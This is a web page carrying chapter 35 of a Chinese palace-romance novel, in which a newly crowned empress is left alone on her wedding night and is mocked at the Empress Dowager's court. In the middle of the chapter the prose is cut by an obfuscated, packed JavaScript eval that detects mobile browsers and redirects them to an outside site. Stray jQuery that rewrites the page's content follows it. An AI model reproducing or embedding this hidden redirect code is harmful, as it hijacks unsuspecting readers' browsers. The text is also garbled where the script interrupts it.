35. 第 35 章
作品:《失忆后被帝王强取豪夺》 连嬷嬷摇摇头示意她闭嘴。
沈若辞泡在温水里边,假装没听到,她舒舒服服地伸了个懒腰,心想不回来最好了。
泡了一会,连嬷嬷准备干净的布巾帮沈若辞擦干身上的水珠。
年轻女孩子的身子莹莹如白玉,□□细腰,香软诱人,一双玉-腿更是修长又笔直,看一眼,都会心肝儿乱颤。
就这身段容貌,随便挑出一样,都能让男人失了魂。
沈若辞不习惯连嬷嬷的伺候,她接过布巾,自己将身子擦干净,然后披上锦云送上来薄纱寝衣,皱着眉头回到床上。
皇帝走的时候,没说不回来,她只能坐着等。
夜深了,屋中到处都是喜庆的红,却透着一股冷冷清清,偶尔有烛火跳动,发出“哔啵”的响声,一瞬而过,屋中又恢复沉寂。
沈若辞身披薄毯,乖巧地坐着等待,明丽的面容略显憔悴,很明显是折腾累了。
连嬷嬷看了一眼烛台上已燃了大半的龙凤喜烛,稀松的眉头皱得更紧。
洞房花烛夜,把新郎叫走了,连亦心揣的什么心思,连嬷嬷心里跟明镜似的,清楚得很!
她从床尾拿来锦被,披在沈若辞身上,扶着她躺下,“娘娘先睡一会,皇上回来老奴再叫您。”
沈若辞早就困得不行,一听这话,立马就躺下了,脑袋沾了枕头,不出一会儿就从睡梦中发出均匀的呼吸声。
长夜漫漫,等待的时间最是漫长。
一夜过去了,如她所料,皇帝彻夜未归,她白等了大半夜。也幸好连嬷嬷善心大发,让她睡了一两个时辰。
纵使是小睡了一阵,但碍于沈若辞身子骨差,经不起折腾,一早醒来气色看起来便不好,就算在锦云一双巧手的精心打扮下,仍看得出人很憔悴。
与沈若辞宫中的清冷不同,一大早薛太后宫里边异常热闹,后宫里的四位嫔妃悉数到齐,各怀心思,迫不及待地要会一会这个新皇后。
薛雪媚第一个来的,自昨夜知道皇后是沈墨的女儿后,便想来找太后诉苦,哪知当场吃了闭门羹,只好悻悻地回自己宫中。
经过一夜的消化后,她仍接受不了现实,“姑母,您说那个病秧子哪点比我强了,她哪里配得上皇后的位置!”
薛太后昨夜对众人闭门不见,自己关起门来想了半宿,也大概弄明白皇帝打的什么算盘。
至于沈若辞,不过是皇帝拉拢人心的棋子罢了,保不准没用完就扔了。
薛太后被薛雪媚闹得头疼,冷冷地瞥了她一眼,冷笑道,“你觉得皇帝能真心对她好?”
薛雪媚顿了一下,若有所思地望向姑母。
薛太后还不到四十,又因为养尊处优,保养得当,看起来还算年轻漂亮,只不过眼底似有若无的凶气让人觉得不舒服。
薛雪媚心底里还是有些畏惧这个姑母的,这时候见她轻轻抚了抚衣襟,饶有兴致地说道,“岳父还在大牢里,就用尽手段把人家女儿弄到手,你说皇帝是真心的不成?”
要说皇帝真心实意把后位奉上给沈家的女儿,她是一点也不相信的。那逆子从小就心思阴沉,又与沈相不对付,能这么做必然是事出有因,保不准还有什么不为人知的阴谋。
“好了好了,此事你知晓便好,千万不要外传。”
薛雪媚终于破涕为笑,朝薛太后点了点头,她才不会傻到说出去,这事她自己知道就好。
早膳过后,各宫的妃子纷纷前往薛太后宫中。沈若辞由连嬷嬷陪着达到的时候,屋里边已黑压压一群女人。
她依照连嬷嬷教给的规矩向薛太后请安之后,便在下首坐了下来。
自沈若辞进屋来,几位妃子就开始抬眼去打量她,待见到她容貌憔悴,面色苍白,一副不大好的样子,私下都生出几分欢喜。
薛太后已得知沈相昨夜进宫来闹过一场,也知道元栩离开后就彻夜未归,她脸上堆满笑容嗔怪道,“这皇上也真是,半点交待也没有,就把你带进宫里来,想来沈相还不知道吧。”
沈若辞微微一笑,“父亲昨晚已知晓此事。”
薛太后看不出她的,又试探道,“皇上性子自小给惯坏了,昨夜你俩大婚,他不留在宫中陪你,可委屈你白等一夜了。”
乍一听像个明事理的长辈在斥责不省心的孩子,但听在他人耳里,便是坐实了皇帝大婚夜彻夜未归的事实。
几位妃子心想皇后也不过如此,不也一样在皇帝那里受到冷待,众人心照不宣地对视一眼,继续看好戏。
沈若辞只是默默地听着,等薛太后说完了,才应了一声,“皇上政务繁忙,臣妾说不上委屈。”
沈若辞怕得罪皇帝,什么话都挑好的说。
几位妃子听皇后大婚夜被冷落,别提有多解气了。皇后也不是谁都能当的,她们排着队等了两年,凭什么让一个罪臣之女捷足先登。几个人都铆足了劲,想要看这位新皇后的笑话,可还没说上话,皇帝突然过来了,屋中的氛围也突然变了,众人的焦点都落在这个男人身上。
薛太后脸色微微一变,见皇帝对她行礼问安,也就露出笑容来,“皇上来啦。”
元栩在沈若辞身旁坐了下来,像寻常母子一样开玩笑道,“太后没说朕的坏话吧。”
薛太后不觉得是玩笑话,皇帝是赶着来试探她,生怕她在沈若辞面前,说出什么不好的话来,坏了他的好事。
薛太后笑得耐人寻味,“这时间过得真是快啊,没想到如今皇上也到了大婚的年岁了,想当初皇上刚登基的时候,大殿上文武百官齐声跪拜,皇帝就缩着脖子坐在龙椅上,身子僵硬一动不动,半天不吭声。本宫就寻思这孩子该不会闹脾气了吧,故意为难这群臣子,不让人起来。哪知等到本宫上前一看,你们猜怎么着……”
沈若辞原本没什么心思听她讲这些,但是薛太后故意卖关子,她也不好意思不捧场,跟着众人投过去好奇的目光,等她继续说下去。
薛太后见众人期盼的目光,更加起劲,脸上泛着红光,笑声也一串接着一串,“这不看不知道,一看才发现,这皇上啊……就这么当着群臣的面,给吓得尿裤子了!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470983|184415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她抚着胸口笑个不停,脸上带着几分久违的得意。那几年里,她逢人便提这件事,后来皇帝日渐疏远她,也好久没有机会拿出来讲了。
难得今日人员到齐,她旧事重提,讲得比当年还起劲。
起初还有人跟着陪笑,到了最后,只剩下薛太后一人的笑声,在空旷的宫中尤为突兀。
先帝英年早逝,元栩登基的时候还不到七岁。一个七岁大的孩子面对大殿中乌泱泱几百号人同时开口,那庄严压抑的气氛很难不害怕。沈若辞没有跟着笑,因为嘲笑一个小孩子并不是什么有趣的行径。
她微微侧头过去看皇帝,只见他坐得散漫,丝毫不受周围笑声的影响,有一下没一下地逗弄对面的金丝雀。
坐在鸟笼旁边的淑妃羞得满脸通红。
等薛太后笑够了,皇帝才不疾不徐地站起来身来,淡淡地说道,“朕还有事要忙,便不久留了。”
话刚出口,几个女人的目光齐刷刷地落在皇帝身上,见他转身就要离开,个个都面露失望,甚至觉得皇帝没有留下来,都是因为沈若辞在这里的缘故。
恶意来得莫名其妙。
皇帝走了也好,她们可以会一会这位新皇后。
哪知原本已经走出几步的皇帝突然回过头来,冷声道,“皇后身子骨不好,若是没什么事情,还是早些回宫歇息吧。”
沈若辞本来也没打算久留,凡事走走过场就好,没有必要演得太入戏。
但是她也不想和皇帝一起走,只恭恭敬敬地回了个“是”,想等皇帝走后再找个借口离开。
就磨蹭这一小会儿没走,沈若辞视线忽暗,手腕被人攥住,一股力量将她整个人从椅子上拽起来,接下来便不分青红皂白地往外拉。
众人连带太后都看得目瞪眼呆。
昨夜雪辉宫的事情都私底下打听到了,皇帝彻夜不归,皇后新婚之夜独守空房,想来皇帝也不是真心立后。
今日见此场景,惊讶之余都忍不住相视一笑。
其实皇帝并非有意拖拽沈若辞,他身形高大,腿又长,步子迈开本来就比寻常人要大,沈若辞跟不上他的脚步,又被紧紧拉着,从后边看过去,就像是被强行带走。
等出了太后宫殿,皇帝才放慢了步子,但依然握着沈若辞的手没有放。
沈若辞试着收回手,皇帝却握的更紧,她只好作罢。
两人走了一段距离,都没有说话,最后元栩先开的口,“怪朕?”
这话问得莫名其妙,沈若辞一时语塞。
元栩以为她没听见,长袖下按了按她的手。
虽说两人已有过肌肤之亲,但这动作对沈若辞来说,像被人轻浮了一般,莹白的脸颊瞬间染上一层薄红。
元栩觉得女孩子就该是这样,双颊泛着浅浅的粉,看起来才赏心悦目。
他停下步子,将沈若辞端详了一会,才严肃道,“直接回雪辉宫去,没朕的命令不准乱跑。”
沈若辞知道宫里犯错的妃子会被禁足,皇帝这么说,大概是想把她给禁足了。